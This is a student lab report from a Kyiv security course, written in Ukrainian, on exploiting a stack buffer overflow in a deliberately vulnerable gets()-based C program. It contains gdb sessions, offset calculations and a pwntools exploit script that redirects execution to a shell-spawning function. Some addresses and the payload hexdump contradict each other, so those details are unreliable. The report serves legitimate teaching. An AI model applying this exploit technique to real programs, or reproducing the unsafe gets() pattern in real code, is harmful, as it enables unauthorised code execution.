



МІНІСТЕРСТВО ОСВІТИ І НАУКИ, МОЛОДІ ТА СПОРТУ УКРАЇНИ  
НАЦІОНАЛЬНИЙ ТЕХНІЧНИЙ УНІВЕРСИТЕТ УКРАЇНИ  
«КИЇВСЬКИЙ ПОЛІТЕХНІЧНИЙ ІНСТИТУТ ім. ІГОРЯ СІКОРСЬКОГО»  
НАВЧАЛЬНО-НАУКОВИЙ ФІЗИКО-ТЕХНІЧНИЙ ІНСТИТУТ  
КАФЕДРА ІНФОРМАЦІЙНОЇ БЕЗПЕКИ

## **Аналіз бінарних вразливостей**

### **Лабораторна робота №1**

#### **Експлуатація пошкодження стеку**

Перевірив:

Войцеховський А. В.

Виконав:

студент І курсу

групи ФБ-41мп

Сахній Н. Р.

Київ 2025

## Мета роботи:

Отримати навички пошуку та експлуатації вразливостей, що ведуть до пошкодження даних у стеку.

## Постановка задачі:

Дослідити вразливість переповнення буфера у стеку, що веде до перезапису локальних змінних функції та адреси повернення. Дослідити методи експлуатації на прикладі виклику довільної функції програми.

## Завдання до виконання:

### 1. Згенеруйте індивідуальний зразок для дослідження за допомогою gen.py

Розглянемо класичний випадок переповнення буфера у стеку, що виникає при використанні функції без контролю розміру буфера над контрольованими зловмисником даними. В якості прикладу згенеруємо (gen.py) вихідний код застосунку наступного вигляду (target.c):

```
(nazar@localhost)-[~/KPI]
$ python gen.py | tee target.c

1 // lab1 target.c
2 #include <stdio.h>
3 #include <stdlib.h>
4 #include <unistd.h>
5
6 void kuvialiv() { puts("Kitty says kuvialiv!"); }
7 void oizgusyp() { puts("Kitty says oizgusyp!"); }
8 void yevfkjbe() { puts("Kitty says yevfkjbe!"); }
9 void zvdggzyw() { puts("Kitty says zvdggzyw!"); }
10 void ucmmoevn() { puts("Kitty says ucmmoevn!"); }
11 void utjzexvv() { puts("Kitty says utjzexvv!"); }
12 void dcfkxsza() { puts("Kitty says dcfkxsza!"); }
13 void btoahwsh() { puts("Kitty says btoahwsh!"); }
14 void vfgoexve() { puts("Kitty says vfgoexve!"); }
15 void win() { execv("/bin/sh", 0); }
16 void bxxvzqeg() { puts("Kitty says bxxvzqeg!"); }
17 void ojerbehf() { puts("Kitty says ojerbehf!"); }
18
19 int main() {
20     int pwd[24] = { 0 };
21     char buf[24] = { 0 };
22
23     gets(buf);
24     if(pwd[0] != 1337)
25         exit(1);
26     else
27         puts("ACCESS GRANTED!");
28 }
```

## 2. Скомпілюйте зразок для ОС Linux архітектури:

**Варіант №10 mod4 = 2. amd64 (AMD64 & Intel 64).**

При компіляції `target.c` вимкнемо механізми протидії експлуатації, що додаються компілятором за замовчуванням:

```
(nazar@localhost)~/KPI/BinVulnAnalysis
$ gcc -no-pie -fno-stack-protector target.c
target.c: In function 'main':
target.c:23:5: warning: implicit declaration of function 'gets'; did you mean 'fgets'? [-Wimplicit-function-declaration]
   23 |     gets(buf);
      |     ^~~~~
      |     fgets
/usr/bin/ld: /tmp/ccnsJxRz.o: у функції «main»:
target.c:(.text+0x14e): попередження: the `gets' function is dangerous and should not be used.

(nazar@localhost)~/KPI/BinVulnAnalysis
$ file a.out
a.out: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2,
BuildID[sha1]=c49351b38fdb9df39209d1b33c0c3cd02d9cb2ef, for GNU/Linux 3.2.0, not stripped

(nazar@localhost)~/KPI/BinVulnAnalysis
$ checksec --file=a.out
RELRO      STACK CANARY NX      PIE      RPATH      RUNPATH      Symbols      FORTIFY Fortified      Fortifiable      FILE
Partial RELRO      No canary found NX enabled No PIE      No RPATH      No RUNPATH  56 Symbols      No      0      1      a.out
```

де `checksec` – утиліта командного рядка з `pwntools`. В даному випадку виконуваний код застосунку буде розміщуватися за статичною адресою та не застосовується SSP (захист від перезапису адреси повернення у стеку).

## 3. Проаналізуйте вразливість та розробіть експлойт

**3.1.** Для ідентифікації вразливості запусимо бінарний застосунок у налагоджувачі, встановимо точку зупинки на умові `if` та подамо на вхід рядок спеціального вигляду (з унікальним 4-байтним шаблоном символів, т.зв. послідовність де Брейна):

```
(nazar@localhost)~/KPI/BinVulnAnalysis
$ gdb -q ./a.out
GEF for linux ready, type `gef' to start, `gef config' to configure
93 commands loaded and 5 functions added for GDB 16.2 in 0.00ms using Python engine 3.13
Reading symbols from ./a.out ...
(No debugging symbols found in ./a.out)
gef> start

gef> disas main
Dump of assembler code for function main:
0x0000000000401263 <+0>: push    rbp
0x0000000000401264 <+1>: mov     rbp, rsp
0x0000000000401267 <+4>: add     rsp, 0xfffffffffffffff80
0x000000000040126b <+8>: lea     rdx, [rbp-0x60]
0x000000000040126f <+12>: mov     eax, 0x0
0x0000000000401274 <+17>: mov     ecx, 0xc
0x0000000000401279 <+22>: mov     rdi, rdx
0x000000000040127c <+25>: rep stq QWORD PTR es:[rdi], rax
0x000000000040127f <+28>: mov     QWORD PTR [rbp-0x80], 0x0
0x0000000000401287 <+36>: mov     QWORD PTR [rbp-0x78], 0x0
0x000000000040128f <+44>: mov     QWORD PTR [rbp-0x70], 0x0
```

```

0x0000000000401297 <+52>: lea    rax,[rbp-0x80]
0x000000000040129b <+56>: mov    rdi,rax
0x000000000040129e <+59>: mov    eax,0x0
0x00000000004012a3 <+64>: call   0x401040 <gets@plt>
0x00000000004012a8 <+69>: mov    eax,DWORD PTR [rbp-0x60]
0x00000000004012ab <+72>: cmp    eax,0x539
0x00000000004012b0 <+77>: je     0x4012bc <main+89>
0x00000000004012b2 <+79>: mov    edi,0x1
0x00000000004012b7 <+84>: call   0x401050 <exit@plt>
0x00000000004012bc <+89>: lea    rax,[rip+0xe30]          # 0x4020f3
0x00000000004012c3 <+96>: mov    rdi,rax
0x00000000004012c6 <+99>: call   0x401030 <puts@plt>
0x00000000004012cb <+104>: mov    eax,0x0
0x00000000004012d0 <+109>: leave
0x00000000004012d1 <+110>: ret
End of assembler dump.

```

```

gef> br *0x00000000004012ab
Breakpoint 1 at 0x4012ab
gef> c
Continuing.
aaaaabaaacaaadaaaaaaaafaaagaahaaiaaaajaaakaaalaaamaanaaaaaaapaaaqaaaraaasaaataaaauaaaavaawaaaxaaayaaa

```

де gef – розширення gdb, а послідовність де Брейна (набір байтів) довжиною 100 символів було згенеровано за допомогою pwntools.cyclic:

```

(nazar@localhost)-[~]
$ ipython3
Python 3.13.2 (main, Feb 5 2025, 01:23:35) [GCC 14.2.0]
Type 'copyright', 'credits' or 'license' for more information
IPython 8.14.0 -- An enhanced Interactive Python. Type '?' for help.

In [1]: from pwn import *

In [2]: cyclic(100)
Out[2]: b'aaaaabaaacaaadaaaaaaaafaaagaahaaiaaaajaaakaaalaaamaanaaaaaaapaaaqaaaraaasaaataaaauaaaavaawaaaxaaayaaa'

```

Після вводу послідовності в застосунок, бачимо, що константа 1337 порівнюється зі значенням `eax = 0x61616169`:

```

Dump of assembler code for function main:
0x0000000000401263 <+0>: push   rbp
0x0000000000401264 <+1>: mov    rbp,rsp
0x0000000000401267 <+4>: add    rsp,0xfffffffffff80
[ Legend: Modified register | Code | Heap | Stack | String ]

registers
$eax : 0x61616169
$rbx : 0x00007fffffded8 → 0x00007fffffe23a → "/home/nazar/KPI/BinVulnAnalysis/a.out"
$rcx : 0x00007ffff7f958e0 → 0x00000000fbad2288
$rdx : 0x0
$rsp : 0x00007fffffd40 → "aaaaabaaacaaadaaaaaaaafaaagaahaaiaaaajaaakaaalaaama[ ... ]"
$rbp : 0x00007fffffd40 → 0x0000000000000001
$rsi : 0x00000000004052d0 → "maanaaaaaaapaaaqaaaraaasaaataaaauaaaavaawaaaxaaaya[ ... ]"
$rdi : 0x00007ffff7f97720 → 0x0000000000000000
$rip : 0x00000000004012ab → <main+0048> cmp eax, 0x539
$r8 : 0x0000000000405305 → 0x0000000000000000
$r9 : 0x00007ffff7f2ea80 → movaps xmm1, XMMWORD PTR [rsi+0x10]
$r10 : 0x3
$r11 : 0x246
$r12 : 0x0
$r13 : 0x00007fffffd4e8 → 0x00007fffffe260 → "COLORFGBG=15;0"
$r14 : 0x00007ffff7ffd000 → 0x00007ffff7ffe2e0 → 0x0000000000000000
$r15 : 0x0000000000403e00 → 0x0000000000401120 → <_do_global_dtors_aux+0000> endbr64
$eflags: [zero carry PARITY adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x33 $ss: 0x2b $ds: 0x00 $es: 0x00 $fs: 0x00 $gs: 0x00

stack
0x00007fffffd4d0 +0x0000: "aaaaabaaacaaadaaaaaaaafaaagaahaaiaaaajaaakaaalaaama[ ... ]" ← $rsp
0x00007fffffd4d8 +0x0008: "caadaaaaaaaafaaagaahaaiaaaajaaakaaalaaamaanaaaaaa[ ... ]"
0x00007fffffd4e0 +0x0010: "eaaafaaagaahaaiaaaajaaakaaalaaamaanaaaaaaapaaaq[ ... ]"
0x00007fffffd4e8 +0x0018: "gaahaaiaaaajaaakaaalaaamaanaaaaaaapaaaqaaaraasa[ ... ]"

```



```

0x00007ffffffdd60|+0x0020: "iaaajaaakaaalaaamaaaaaaaoaaapaaqaaraaasaaataaaua[ ... ]"
0x00007ffffffdd68|+0x0028: "kaaalaaamaaaaaaaoaaapaaqaaraaasaaataaauaavaaawa[ ... ]"
0x00007ffffffdd70|+0x0030: "maaaaaaaoaaapaaqaaraaasaaataaauaavaaawaaxaaya[ ... ]"
0x00007ffffffdd78|+0x0038: "oaaapaaqaaraaasaaataaauaavaaawaaxaaya"
code:x86:64

0x40129e <main+003b>    mov     eax, 0x0
0x4012a3 <main+0040>    call   0x401040 <gets@plt>
0x4012a8 <main+0045>    mov     eax, DWORD PTR [rbp-0x60]
➔ 0x4012ab <main+0048>    cmp     eax, 0x539
0x4012b0 <main+004d>    je      0x4012bc <main+89>
0x4012b2 <main+004f>    mov     edi, 0x1
0x4012b7 <main+0054>    call   0x401050 <exit@plt>
0x4012bc <main+0059>    lea     rax, [rip+0xe30]          # 0x4020f3
0x4012c3 <main+0060>    mov     rdi, rax
threads

[#0] Id 1, Name: "a.out", stopped 0x4012ab in main (), reason: BREAKPOINT
trace

[#0] 0x4012ab → main()

```

таким чином, 4 байти за зміщенням 32 у вводі користувача перезаписують перший елемент масиву `pwd`, що забезпечує контроль над умовою `if`:

```

In [3]: cyclic_find(0x61616169)
Out[3]: 32

```

Змінимо значення регістру `eax` на необхідне, і продовжимо виконання:

```

gef> set $eax=1337
gef> c
Continuing.
ACCESS GRANTED!
[Inferior 1 (process 74011) exited normally]

```

```

0x00007ffffffddc8|+0x0000: "jaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabva[ ... ]" ← $rsp

```

Виникає виключення при спробі повернення з функції `main()`, адреса у стеку “`jaabkaab`”. Таким чином адреса повернення перезаписується 8 байтами за зміщенням 136 у вводі користувача:

```

In [4]: cyclic_find("jaab")
Out[4]: 136

```

Для отримання доступу до командної оболонки достатньо перезаписати адресу повернення з `main()` вказівником на `win()`:

```

gef> print win
$1 = {<text variable, no debug info>} 0x40121c <win>
gef> disas win
Dump of assembler code for function win:
0x000000000040121c <+0>:    push    rbp
0x000000000040121d <+1>:    mov     rbp, rsp
0x0000000000401220 <+4>:    mov     esi, 0x0
0x0000000000401225 <+9>:    lea     rax, [rip+0xe95]          # 0x4020c1
0x000000000040122c <+16>:   mov     rdi, rax
0x000000000040122f <+19>:   call   0x401060 <execv@plt>
0x0000000000401234 <+24>:   nop
0x0000000000401235 <+25>:   pop     rbp
0x0000000000401236 <+26>:   ret
End of assembler dump.

```

### 3.2. Реалізуємо експлойт (\_pwn.py):

```
1 #!/usr/bin/env python3
2 from pwn import *
3
4 r = process("./a.out")
5
6 buf = b'A' * 32
7 buf += p32(1337)
8 buf = buf.ljust(136, b'B')
9 buf += p64(0x4011ae)
10
11 log.info("Payload")
12 print(hexdump(buf, width=12))
13
14 r.writeline(buf)
15 r.interactive()
```

І в разі успіху отримуємо:

```
(nazar@localhost) [~/KPI/BinVulnAnalysis]
$ python ./_pwn.py
[+] Starting local process './a.out': pid 76960
[*] Payload
00000000  41 41 41 41 41 41 41 41 41 39 05 00  AAAA AAAA A9..
0000000c  00 42 42 42 42 42 42 42 42 42 42 42  BBBB BBBB BBBB
00000018  42 42 42 42 42 42 42 42 42 42 42 42  BBBB BBBB BBBB
*
0000003c  42 42 42 42 42 ae 11 40 00 00 00 00  BBBB B...@....
00000048  00                                     .|
00000049
[*] Switching to interactive mode
ACCESS GRANTED!
$ uname -a
Linux localhost 6.1.0-kali9-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.27-1kali1 (2023-05-12) x86_64 GNU/Linux
```